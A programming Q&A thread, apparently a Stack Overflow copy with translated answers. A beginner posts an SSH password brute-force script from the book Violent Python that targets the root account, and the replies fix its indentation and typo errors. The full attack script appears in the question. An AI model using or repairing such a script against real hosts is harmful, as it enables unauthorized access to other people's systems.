0

Okay so I'm using the Violent Python book and made an SSH brute force program. When I run the following code

import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxconnections)
Found = False
Fails = 0

def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+} Paassword Found: ' + password
    Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
        Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        connect9host, user, password, False)
    finally:
    if release: connection_lock.release()

def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', \
        help= 'specify target host')
    parser.add_option('-u', dest='user', type='string', \
        help='specify the user')
    parser.add_option('-F', dest='psswdFile', type='string, \
        help='specify password file')
        (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.psswdFile
    user = options.user

    if host == None or psswdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(psswdFile, 'r')
    for line in fn.readlines():
    if Found:
        print "[+] Exting: Password Found."
        exit(0)
        if Fails > 5
        print "[!] Exiting: Too many socket timeouts"
        exit(0)
    connection_lock.acquire()
        password = line.strip('\r').strip('\n')
    print "[-] Testing: "+str(password)
        t = Thread(target=connect, args+(host, user, \
            password, True))
        child = t.start()

if __name__ == '__main__':
    main()

and run it on terminal using the following command:

python brute_force_ssh_pxssh.py -H 10.10.1.36 -u root -F pass.txt

I get this error:

    File "brute_force_ssh_pxssh.py", line 17
    Found = True
        ^
SyntaxError: invalid syntax

I checked the sample code and it is written exactly lke this... Any help is greatly appreciated. (I am still a noob in Python). Thanks!

4

4 回答 4

2

缩进是错误的。应该

try:
    s = pxssh.pxssh()
    s.login(host, user, password)
    print '[+} Paassword Found: ' + password
    Found = True
except Exception, e:
    if 'read_nonblocking' in str(e):
        Fails += 1
于 2013-07-24T07:31:02.837 回答
2

Found = True应该缩进。

try:
    s = pxssh.pxssh()
    s.login(host, user, password)
    print '[+} Paassword Found: ' + password
    Found = True
except Exception, e:
    if 'read_nonblocking' in str(e):
    Fails += 1
        time.sleep(5)
        connect(host, user, password, False)
于 2013-07-24T07:31:14.057 回答
1

缩进是有效的。Found = True 应该比尝试更缩进:

像这样:

try:
    s = pxssh.pxssh()
    s.login(host, user, password)
    print '[+} Paassword Found: ' + password
    Found = True
except Exception, e:
于 2013-07-24T07:31:54.697 回答
0

您在代码的各个部分中存在一些标识问题

除了第 17 行,您在第 20 行、第 23 行(elif 块)、第 27 行、第 38 行以及第 48 到 59 行似乎也存在识别问题。

此外,您在第 34 行缺少 ' ,在第 25 行缺少额外的 )

于 2013-07-24T07:32:15.047 回答